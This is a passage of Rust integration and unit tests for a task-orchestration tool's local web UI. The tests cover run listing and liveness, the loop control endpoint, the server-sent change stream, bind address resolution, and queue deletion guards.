6744 let before = f.get("/api/health").await.json()["loop_rev"]
6745 .as_u64()
6746 .expect("a loop revision");
6747
6748 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6749
6750 let after = f.get("/api/health").await.json()["loop_rev"]
6751 .as_u64()
6752 .expect("a loop revision");
6753 assert!(
6754 after > before,
6755 "the loop is in-process state, so this counter is the only thing \
6756 that tells a second device the first one started it: {before} -> \
6757 {after}"
6758 );
6759
6760 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6761 }
6762
6763 #[tokio::test]
6764 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6765 let f = Fixture::with_loop(launch_broken).await;
6766
6767 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6768 assert_eq!(
6769 res.status, 200,
6770 "starting it is not the failure: {}",
6771 res.body
6772 );
6773
6774 let view = settled(&f, |v| v["last_error"].is_string()).await;
6775 assert_eq!(
6776 view["running"], false,
6777 "a loop that died must not read as running, or the operator has \
6778 nothing to press: {view}"
6779 );
6780 assert_eq!(view["owned"], false);
6781 assert!(
6782 view["last_error"]
6783 .as_str()
6784 .is_some_and(|e| e.contains("read-only file system")),
6785 "the phone is where a loop that died at 3am is visible: {view}"
6786 );
6787
6788 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6791 assert_eq!(again.status, 200, "{}", again.body);
6792 assert_eq!(
6793 again.json()["last_error"],
6794 Value::Null,
6795 "a fresh start does not keep showing why the last one died"
6796 );
6797 }
6798
6799 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
6811 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6812 let home = TempDir::new().expect("temp home");
6813 let runs = home.path().join("runs");
6814 std::fs::create_dir_all(&runs).expect("runs dir");
6815 let ui = Ui::new(
6816 Queue::at(home.path().join("queue")),
6817 Questions::at(home.path().join("questions")),
6818 Talks::at(home.path().join("talks")),
6819 runs,
6820 home.path().to_path_buf(),
6821 PathBuf::from("/repo/magi"),
6822 )
6823 .with_worktrees_root(home.path().join("wt"))
6824 .with_launch(launch_knocking_on_the_way_out);
6825 let looping = ui.looping();
6826 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6827 .await
6828 .expect("bind loopback");
6829 let addr = listener.local_addr().expect("local addr");
6830 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6831 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6832
6833 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6834 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6835
6836 let bound = std::sync::Mutex::new(None);
6851 hand_over(home.path(), &looping, served, || {
6852 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
6853 let attempt = loop {
6854 match std::net::TcpListener::bind(addr) {
6855 Ok(l) => {
6856 drop(l);
6857 break Ok(());
6858 }
6859 Err(e)
6860 if e.kind() == std::io::ErrorKind::AddrInUse
6861 && std::time::Instant::now() < deadline =>
6862 {
6863 std::thread::sleep(std::time::Duration::from_millis(10));
6864 }
6865 Err(e) => break Err(e.to_string()),
6866 }
6867 };
6868 *bound.lock().expect("bound") = Some(attempt);
6869 Ok(())
6870 })
6871 .await
6872 .expect("hand over");
6873
6874 assert_eq!(
6875 *PARK_HEARD.lock().expect("park heard"),
6876 Some(200),
6877 "the deck must answer while the loop is parking"
6878 );
6879 let attempt = bound
6880 .lock()
6881 .expect("bound")
6882 .take()
6883 .expect("the successor was started");
6884 assert!(
6885 attempt.is_ok(),
6886 "and the address must be free by the time it is: {attempt:?}"
6887 );
6888 }
6889
6890 #[tokio::test]
6891 async fn a_newer_daemon_status_file_still_renders() {
6892 let f = Fixture::start().await;
6893 std::fs::write(
6896 f.home.path().join("daemon.json"),
6897 serde_json::json!({
6898 "schema": 2,
6899 "updated_at": Timestamp::now().to_string(),
6900 "idle": true,
6901 "surprise": { "nested": [1, 2, 3] },
6902 })
6903 .to_string(),
6904 )
6905 .expect("write daemon.json");
6906
6907 let health = f.get("/api/health").await;
6908
6909 assert_eq!(health.status, 200);
6910 assert_eq!(health.json()["daemon"]["running"], true);
6911 }
6912
6913 #[tokio::test]
6914 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6915 let f = Fixture::start().await;
6916 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6917 let broken = f.runs().join("20260902-140502-bad");
6918 std::fs::create_dir_all(&broken).expect("run dir");
6919 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6920
6921 let list = f.get("/api/runs").await;
6922 let detail = f.get("/api/runs/20260902-140502-bad").await;
6923
6924 assert_eq!(list.status, 200);
6925 let listed = list.json();
6926 let ids: Vec<&str> = listed
6927 .as_array()
6928 .expect("an array")
6929 .iter()
6930 .map(|r| r["id"].as_str().expect("an id"))
6931 .collect();
6932 assert_eq!(
6933 ids,
6934 vec!["20260902-140501-good"],
6935 "one unreadable run must not cost the operator the whole history"
6936 );
6937 assert_eq!(detail.status, 500);
6938 assert!(
6939 detail.json()["error"]
6940 .as_str()
6941 .is_some_and(|e| e.contains("run.json")),
6942 "the failure names the file to look at: {}",
6943 detail.body
6944 );
6945 let health = f.get("/api/health").await;
6949 assert_eq!(health.json()["runs_unreadable"], 1);
6950 }
6951
6952 #[tokio::test]
6953 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6954 let f = Fixture::start().await;
6955 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6956
6957 let summary = f.get("/api/runs").await.json();
6958 let row = &summary[0];
6959 assert_eq!(row["short"], "a1b2");
6960 assert_eq!(row["status"], "ready");
6961 assert_eq!(row["done"], true);
6962 assert_eq!(row["title"], "Add a web UI");
6963 assert_eq!(row["repo_name"], "magi");
6964 assert_eq!(row["judges"], 3);
6965 assert_eq!(row["winner"], Value::Null);
6966 assert_eq!(row["reviews"], 0);
6967
6968 let detail = f.get("/api/runs/a1b2").await;
6971 assert_eq!(detail.status, 200);
6972 assert_eq!(detail.json()["base_branch"], "main");
6973 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6974 }
6975
6976 #[tokio::test]
6984 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
6985 let f = Fixture::start().await;
6986
6987 let mut none_run = RunState::new(
6988 PathBuf::from("/repo/magi"),
6989 "main".to_owned(),
6990 "0123456789abcdef".to_owned(),
6991 "Add a web UI".to_owned(),
6992 Config::default(),
6993 );
6994 none_run.id = "20260902-140503-none".to_owned();
6995 none_run.status = RunStatus::Ready;
6996 none_run.merge = Some(crate::run::MergeOutcome {
6997 mode: crate::config::MergeMode::None,
6998 ok: true,
6999 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
7000 });
7001 write_state(&f.runs(), &none_run);
7002
7003 let mut pr_run = RunState::new(
7004 PathBuf::from("/repo/magi"),
7005 "main".to_owned(),
7006 "0123456789abcdef".to_owned(),
7007 "Add a web UI".to_owned(),
7008 Config::default(),
7009 );
7010 pr_run.id = "20260902-140504-prcl".to_owned();
7011 pr_run.status = RunStatus::Ready;
7012 pr_run.merge = Some(crate::run::MergeOutcome {
7013 mode: crate::config::MergeMode::Pr,
7014 ok: false,
7015 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
7016 });
7017 write_state(&f.runs(), &pr_run);
7018
7019 let summary = f.get("/api/runs").await.json();
7020 let rows: std::collections::HashMap<&str, &Value> = summary
7021 .as_array()
7022 .expect("an array")
7023 .iter()
7024 .map(|r| (r["id"].as_str().expect("an id"), r))
7025 .collect();
7026 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
7027 assert_eq!(
7028 rows[none_run.id.as_str()]["unmerged_by_design"],
7029 true,
7030 "a mode-none Ready must be flagged in the list"
7031 );
7032 assert_eq!(
7033 rows[pr_run.id.as_str()]["unmerged_by_design"],
7034 false,
7035 "a Ready reached by a closed pull request is a different case"
7036 );
7037
7038 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
7039 assert_eq!(none_detail["status"], "ready");
7040 assert_eq!(none_detail["unmerged_by_design"], true);
7041
7042 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
7043 assert_eq!(pr_detail["unmerged_by_design"], false);
7044 }
7045
7046 #[tokio::test]
7051 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
7052 let f = Fixture::start().await;
7053 let id = "20260902-140502-bbbb";
7057 let mut state = RunState::new(
7058 PathBuf::from("/repo/magi"),
7059 "main".to_owned(),
7060 "0123456789abcdef".to_owned(),
7061 "Add a web UI".to_owned(),
7062 Config::default(),
7063 );
7064 state.id = id.to_owned();
7065 state.status = RunStatus::Judging;
7066 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
7067 let dir = f.runs().join(id);
7068 std::fs::create_dir_all(&dir).expect("run dir");
7069 std::fs::write(
7070 dir.join("run.json"),
7071 serde_json::to_string_pretty(&state).expect("serialize run"),
7072 )
7073 .expect("write run.json");
7074
7075 let cold = f.get(&format!("/api/runs/{id}")).await.json();
7081 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7082 assert_eq!(cold["live"], "unknown", "{cold}");
7083
7084 write_daemon(f.home.path(), Timestamp::now());
7087 let warm = f.get(&format!("/api/runs/{id}")).await.json();
7088 assert_eq!(warm["live"], "live", "{warm}");
7089 }
7090
7091 #[tokio::test]
7098 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
7099 let f = Fixture::start().await;
7100 let id = "20260922-090000-cccc";
7101 let mut state = RunState::new(
7102 PathBuf::from("/repo/magi"),
7103 "main".to_owned(),
7104 "0123456789abcdef".to_owned(),
7105 "Review only".to_owned(),
7106 Config::default(),
7107 );
7108 state.id = id.to_owned();
7109 state.status = RunStatus::Reviewing;
7110 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7111 state.driver_pid = Some(std::process::id());
7117 state.driver_started_at = Some(
7118 crate::proc::process_started_at(std::process::id())
7119 .expect("this test process's own start time must be queryable"),
7120 );
7121 let dir = f.runs().join(id);
7122 std::fs::create_dir_all(&dir).expect("run dir");
7123 std::fs::write(
7124 dir.join("run.json"),
7125 serde_json::to_string_pretty(&state).expect("serialize run"),
7126 )
7127 .expect("write run.json");
7128
7129 let detail = f.get(&format!("/api/runs/{id}")).await.json();
7130 assert_eq!(detail["live"], "live", "{detail}");
7131 }
7132
7133 #[tokio::test]
7139 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
7140 let f = Fixture::start().await;
7141 let id = "20260922-090100-dddd";
7142 let mut state = RunState::new(
7143 PathBuf::from("/repo/magi"),
7144 "main".to_owned(),
7145 "0123456789abcdef".to_owned(),
7146 "Review only".to_owned(),
7147 Config::default(),
7148 );
7149 state.id = id.to_owned();
7150 state.status = RunStatus::Reviewing;
7151 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7152 state.driver_pid = Some(std::process::id());
7157 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
7158 let dir = f.runs().join(id);
7159 std::fs::create_dir_all(&dir).expect("run dir");
7160 std::fs::write(
7161 dir.join("run.json"),
7162 serde_json::to_string_pretty(&state).expect("serialize run"),
7163 )
7164 .expect("write run.json");
7165
7166 let detail = f.get(&format!("/api/runs/{id}")).await.json();
7167 assert_eq!(detail["live"], "dead", "{detail}");
7168 }
7169
7170 #[test]
7174 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
7175 let mk = |id: &str, pid: Option<u32>| {
7176 let mut s = RunState::new(
7177 PathBuf::from("/repo/magi"),
7178 "main".to_owned(),
7179 "0123456789abcdef".to_owned(),
7180 "Add a web UI".to_owned(),
7181 Config::default(),
7182 );
7183 s.id = id.to_owned();
7184 s.driver_pid = pid;
7185 s.driver_started_at = Some("t0".to_owned());
7186 s
7187 };
7188 let states = vec![
7189 mk("20260902-140502-aaaa", Some(77)),
7190 mk("20260902-140502-bbbb", Some(77)),
7191 mk("20260902-140502-cccc", Some(77)),
7192 mk("20260902-140502-dddd", None),
7193 ];
7194 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
7195 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
7196 let sup: HashMap<String, String> = [(
7197 "20260902-140502-aaaa".to_owned(),
7198 "20260902-140502-cccc".to_owned(),
7199 )]
7200 .into();
7201
7202 let status_calls = std::cell::Cell::new(0);
7203 let identity_calls = std::cell::Cell::new(0);
7204 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
7205 |_| {
7206 status_calls.set(status_calls.get() + 1);
7207 Some(true)
7208 },
7209 |_| {
7210 identity_calls.set(identity_calls.get() + 1);
7211 Some("t0".to_owned())
7212 },
7213 ));
7214 let rows = summarize(
7215 states,
7216 &open,
7217 &claimed,
7218 &sup,
7219 |p| probe.borrow_mut().status(p),
7220 |p| probe.borrow_mut().started_at(p),
7221 );
7222
7223 assert_eq!(status_calls.get(), 1, "one pid, one status query");
7224 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
7225 assert_eq!(rows.len(), 4);
7226 assert!(!rows[0].waiting && rows[1].waiting);
7227 assert_eq!(rows[0].live, crate::run::Liveness::Live);
7228 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
7229 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
7230 assert_eq!(rows[1].superseded_by, None);
7231 }
7232
7233 #[test]
7234 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
7235 let mut state = RunState::new(
7236 PathBuf::from("/repo/magi"),
7237 "main".to_owned(),
7238 "0123456789abcdef".to_owned(),
7239 "Review only".to_owned(),
7240 Config::default(),
7241 );
7242 state.id = "20260922-090200-dead".to_owned();
7243 state.status = RunStatus::Reviewing;
7244 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
7245 .expect("serialize list row");
7246 assert_eq!(row["status"], "reviewing");
7247 assert_eq!(row["live"], "dead", "{row}");
7248 assert!(!row["done"].as_bool().unwrap());
7249 }
7250
7251 #[tokio::test]
7252 async fn the_run_list_is_newest_first_and_honours_a_limit() {
7253 let f = Fixture::start().await;
7254 for id in [
7255 "20260902-140501-aaaa",
7256 "20260902-140502-bbbb",
7257 "20260902-140503-cccc",
7258 ] {
7259 write_run(&f.runs(), id, RunStatus::Merged);
7260 }
7261
7262 let all = f.get("/api/runs").await.json();
7263 let capped = f.get("/api/runs?limit=2").await.json();
7264
7265 assert_eq!(all[0]["id"], "20260902-140503-cccc");
7266 assert_eq!(all.as_array().map(Vec::len), Some(3));
7267 assert_eq!(capped.as_array().map(Vec::len), Some(2));
7268 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7269 }
7270
7271 #[tokio::test]
7272 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7273 let f = Fixture::start().await;
7274 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7275
7276 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7277
7278 assert_eq!(res.status, 200);
7279 assert!(
7280 res.headers
7281 .contains("content-type: text/plain; charset=utf-8"),
7282 "a browser must render it, not download it: {}",
7283 res.headers
7284 );
7285 assert!(
7289 res.body.contains("20260902-140501-a1b2"),
7290 "the report is about the run that was asked for: {}",
7291 res.body
7292 );
7293 }
7294
7295 #[tokio::test]
7296 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7297 let f = Fixture::start().await;
7298
7299 let html = f.get("/").await;
7300 let css = f.get("/app.css").await;
7301 let js = f.get("/app.js").await;
7302
7303 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7304 assert!(
7305 html.headers
7306 .contains("content-type: text/html; charset=utf-8")
7307 );
7308 assert!(css.headers.contains("content-type: text/css"));
7309 assert!(js.headers.contains("content-type: text/javascript"));
7310 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7311 }
7312
7313 #[test]
7314 fn review_rounds_label_a_distinct_verified_head() {
7315 assert!(APP_JS.contains("round.verified_head"));
7316 assert!(APP_JS.contains("verified HEAD"));
7317 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
7318 }
7319
7320 #[test]
7321 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
7322 assert!(APP_JS.contains("blocked: { glyph:"));
7326 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
7327
7328 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
7332 assert!(
7333 APP_JS.contains(
7334 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
7335 ),
7336 "the note line must name what a blocked task is waiting on, not just that it is blocked"
7337 );
7338 assert!(APP_JS.contains("if (status === \"blocked\") {"));
7342
7343 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
7347 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
7348 assert!(
7349 APP_JS.contains("location.hash = \"#/questions\";"),
7350 "a question node must jump to the Questions screen, not pretend to be a task"
7351 );
7352
7353 assert!(APP_JS.contains("Resolved questions"));
7356 assert!(APP_JS.contains("r.answersList.append("));
7357 assert!(APP_CSS.contains(".task-answers"));
7358 }
7359
7360 #[test]
7361 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
7362 assert!(
7363 APP_JS.contains("round.verified_head !== round.head"),
7364 "a round that verified an earlier commit must be visibly distinct from one that \
7365 verified the head reviewers are looking at now"
7366 );
7367 assert!(
7368 APP_JS.contains("round.verified_at"),
7369 "when a check ran must be on the wire, not just which commit"
7370 );
7371 assert!(
7372 APP_JS.contains("resource_blocked"),
7373 "a command magi never got to run (shared build cache contention) must not render \
7374 the same as a command that ran and failed"
7375 );
7376 }
7377
7378 #[tokio::test]
7379 async fn the_change_stream_announces_the_current_revisions_on_connect() {
7380 let f = Fixture::start().await;
7381
7382 let mut socket = tokio::net::TcpStream::connect(f.addr)
7383 .await
7384 .expect("connect");
7385 socket
7386 .write_all(
7387 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
7388 )
7389 .await
7390 .expect("write request");
7391
7392 let mut seen = String::new();
7395 let mut buf = [0u8; 1024];
7396 while !seen.contains("event: change") {
7397 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7398 .await
7399 .expect("the stream must speak within five seconds")
7400 .expect("read");
7401 assert!(read > 0, "the server closed the change stream: {seen}");
7402 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7403 }
7404
7405 assert!(
7406 seen.to_lowercase()
7407 .contains("content-type: text/event-stream"),
7408 "the browser only reconnects automatically for a real SSE stream: {seen}"
7409 );
7410 let data = seen
7411 .lines()
7412 .find_map(|l| l.strip_prefix("data:"))
7413 .expect("a data line");
7414 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7415 assert!(
7416 payload["queue_rev"].is_u64()
7417 && payload["runs_rev"].is_u64()
7418 && payload["questions_rev"].is_u64()
7419 && payload["talks_rev"].is_u64()
7420 && payload["loop_rev"].is_u64(),
7421 "the client needs one revision per store to know what to refetch, \
7422 and `talks_rev` is the only notification a standing talk gets - a \
7423 phone whose radio slept through a turn learns about it here, as \
7424 does one whose operator started the loop from another device: \
7425 {payload}"
7426 );
7427
7428 let health = f.get("/api/health").await.json();
7435 for key in [
7436 "queue_rev",
7437 "runs_rev",
7438 "questions_rev",
7439 "talks_rev",
7440 "loop_rev",
7441 ] {
7442 assert!(
7443 health[key].is_u64(),
7444 "health is the change stream's fallback and is missing `{key}`: {health}"
7445 );
7446 }
7447 }
7448
7449 #[tokio::test]
7450 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7451 let f = Fixture::start().await;
7452 let before = f.get("/api/health").await.json()["talks_rev"]
7453 .as_u64()
7454 .expect("talks_rev");
7455
7456 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7457 std::thread::sleep(Duration::from_millis(10));
7458 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7459 on_disk.turns.push(crate::talk::Turn {
7460 who: crate::talk::Who::Operator,
7461 body: "a new turn".to_owned(),
7462 at: Timestamp::now(),
7463 attachments: Vec::new(),
7464 });
7465 f.talks().put(&mut on_disk).expect("record a turn");
7466
7467 let after = f.get("/api/health").await.json()["talks_rev"]
7468 .as_u64()
7469 .expect("talks_rev");
7470 assert_ne!(
7471 before, after,
7472 "a phone must be able to notice a talk's reply without polling every store"
7473 );
7474 }
7475
7476 #[test]
7477 fn bind_reads_back_from_the_spelling_the_cli_prints() {
7478 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7482 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7483 }
7484 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7485 assert!("everywhere".parse::<Bind>().is_err());
7486 }
7487
7488 #[test]
7489 fn an_explicit_bind_address_is_taken_verbatim() {
7490 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7491
7492 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7493
7494 assert_eq!(addr, asked);
7495 assert!(
7496 warning.is_none(),
7497 "an operator who named an address gets no lecture"
7498 );
7499 }
7500
7501 #[test]
7502 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7503 let (addr, warning) = resolve_bind(&Bind::Auto);
7504
7505 match addr {
7512 IpAddr::V4(ip) if is_tailnet(&ip) => {
7513 assert!(warning.is_none(), "a tailnet address needs no warning");
7514 }
7515 other => {
7516 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7517 let warning = warning.expect("a fallback has to explain itself");
7518 assert!(
7519 warning.contains("127.0.0.1") && warning.contains("local-only"),
7520 "the warning says what happened and what it costs: {warning}"
7521 );
7522 }
7523 }
7524 }
7525
7526 #[test]
7527 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7528 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7532 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7533 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7534 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7535 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7536 }
7537
7538 #[test]
7539 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7540 let ids = vec![
7541 "20260902-140501-aaaa".to_owned(),
7542 "20260902-140502-aabb".to_owned(),
7543 ];
7544
7545 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7546 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7547 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7548
7549 assert_eq!(missing.status, StatusCode::NOT_FOUND);
7550 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7551 assert_eq!(short, "20260902-140502-aabb");
7552 }
7553 #[tokio::test]
7554 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7555 let fx = Fixture::start().await;
7561 let id = panel(
7562 &fx,
7563 "<img src=\"shot.png\">",
7564 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7565 );
7566
7567 let doc = fx
7569 .get(&format!("/api/questions/{id}/panel/index.html"))
7570 .await;
7571 assert_eq!(doc.status, 200, "{}", doc.body);
7572 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7573
7574 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7575 assert_eq!(sibling.status, 200, "{}", sibling.body);
7576 assert_eq!(sibling.header("content-type"), Some("image/png"));
7577 assert_eq!(
7578 sibling.header("content-security-policy"),
7579 Some(PANEL_CSP),
7580 "the sibling route must carry the same policy as the asset route"
7581 );
7582
7583 assert_eq!(
7586 fx.head(&format!("/api/questions/{id}/panel")).await.status,
7587 200
7588 );
7589 }
7590
7591 #[test]
7592 fn runs_revision_moves_when_deleting_an_older_run() {
7593 let temp = TempDir::new().expect("tempdir");
7594 let runs = temp.path().join("runs");
7595 std::fs::create_dir_all(&runs).expect("create runs dir");
7596
7597 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7598
7599 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7600 std::thread::sleep(Duration::from_millis(10));
7601 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7602
7603 let rev_before = runs_revision(&runs);
7604 assert!(rev_before > 0);
7605
7606 let old_dir = runs.join("20260901-100000-old1");
7607 std::fs::remove_dir_all(&old_dir).expect("remove old run");
7608
7609 let rev_after = runs_revision(&runs);
7610 assert_ne!(
7611 rev_before, rev_after,
7612 "deleting an older run must change the revision so other clients see the deletion"
7613 );
7614 }
7615
7616 fn write_state(runs: &FsPath, state: &RunState) {
7621 let dir = runs.join(&state.id);
7622 std::fs::create_dir_all(&dir).expect("run dir");
7623 std::fs::write(
7624 dir.join("run.json"),
7625 serde_json::to_string_pretty(state).expect("serialize run"),
7626 )
7627 .expect("write run.json");
7628 }
7629
7630 #[test]
7635 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7636 let temp = TempDir::new().expect("tempdir");
7637 let runs = temp.path().join("runs");
7638 std::fs::create_dir_all(&runs).expect("create runs dir");
7639 let mut state = RunState::new(
7640 PathBuf::from("/repo/magi"),
7641 "main".to_owned(),
7642 "0123456789abcdef".to_owned(),
7643 "task".to_owned(),
7644 Config::default(),
7645 );
7646 state.id = "20260902-100000-c0de".to_owned();
7647 write_state(&runs, &state);
7648
7649 let rev_idle = runs_revision(&runs);
7650 std::thread::sleep(Duration::from_millis(10));
7651 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7652 write_state(&runs, &state);
7653 let rev_started = runs_revision(&runs);
7654 assert_ne!(
7655 rev_idle, rev_started,
7656 "a seat starting must move the revision"
7657 );
7658
7659 std::thread::sleep(Duration::from_millis(10));
7660 state.seat_finished("judge-1");
7661 write_state(&runs, &state);
7662 let rev_finished = runs_revision(&runs);
7663 assert_ne!(
7664 rev_started, rev_finished,
7665 "and clearing it again must move the revision a second time"
7666 );
7667 }
7668
7669 #[tokio::test]
7670 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
7671 let fx = Fixture::start().await;
7676 let q = fx.queue();
7677
7678 let mut t = Task::new(
7679 "Task".to_owned(),
7680 "Instruction".to_owned(),
7681 PathBuf::from("/repo"),
7682 Source::Human,
7683 );
7684 t.block(
7685 vec!["20260101-000000-dead".to_owned()],
7686 Some("waiting on Task 1".to_owned()),
7687 );
7688 t.answers.push(crate::queue::AnsweredQuestion {
7689 question: "Which backend?".to_owned(),
7690 answer: "SQLite".to_owned(),
7691 });
7692 q.put(&mut t).expect("put t");
7693
7694 let res = fx.get("/api/queue").await;
7695 assert_eq!(res.status, 200);
7696 let list = res.json();
7697 let view = list
7698 .as_array()
7699 .expect("array")
7700 .iter()
7701 .find(|v| v["id"] == t.id)
7702 .expect("task in list");
7703 assert_eq!(view["status_str"], "blocked");
7704 assert_eq!(
7705 view["blocked_by"],
7706 serde_json::json!(["20260101-000000-dead"])
7707 );
7708 assert_eq!(view["block_reason"], "waiting on Task 1");
7709 assert_eq!(view["answers"][0]["question"], "Which backend?");
7710 assert_eq!(view["answers"][0]["answer"], "SQLite");
7711
7712 let res = fx
7716 .post(&format!("/api/queue/{}/hold", t.short()), None)
7717 .await;
7718 assert_eq!(res.status, 200);
7719 let held = res.json();
7720 assert_eq!(held["status_str"], "held");
7721 assert_eq!(held["blocked_by"], serde_json::json!([]));
7722 assert!(held["block_reason"].is_null());
7723 assert_eq!(held["answers"][0]["answer"], "SQLite");
7724 }
7725
7726 #[tokio::test]
7727 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7728 let fx = Fixture::start().await;
7729 let q = fx.queue();
7730
7731 let mut t1 = Task::new(
7733 "Task 1".to_owned(),
7734 "Instruction 1".to_owned(),
7735 PathBuf::from("/repo"),
7736 Source::Human,
7737 );
7738 let run_id = "20260901-000000-r111";
7739 t1.runs.push(run_id.to_owned());
7740 write_run(&fx.runs(), run_id, RunStatus::Merged);
7741 q.put(&mut t1).expect("put t1");
7742
7743 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7745 assert_eq!(res.status, 204);
7746 assert!(res.body.is_empty(), "204 No Content has no body");
7747 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7748 assert!(
7749 fx.runs().join(run_id).exists(),
7750 "run directory must not be deleted when its task is deleted"
7751 );
7752
7753 let mut t2 = Task::new(
7755 "Task 2".to_owned(),
7756 "Instruction 2".to_owned(),
7757 PathBuf::from("/repo"),
7758 Source::Human,
7759 );
7760 t2.status = TaskStatus::Running;
7761 q.put(&mut t2).expect("put t2");
7762 let mut beat = crate::daemon::Status::new();
7763 beat.current = vec![crate::daemon::Current {
7764 task: t2.id.clone(),
7765 run: "20260901-000000-r222".to_owned(),
7766 }];
7767 beat.updated_at = jiff::Timestamp::now();
7768 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7769 .expect("publish a heartbeat");
7770 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7771 assert_eq!(res.status, 409);
7772 assert!(
7773 res.json()["error"]
7774 .as_str()
7775 .unwrap()
7776 .contains("live daemon")
7777 );
7778 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7779
7780 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7786 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
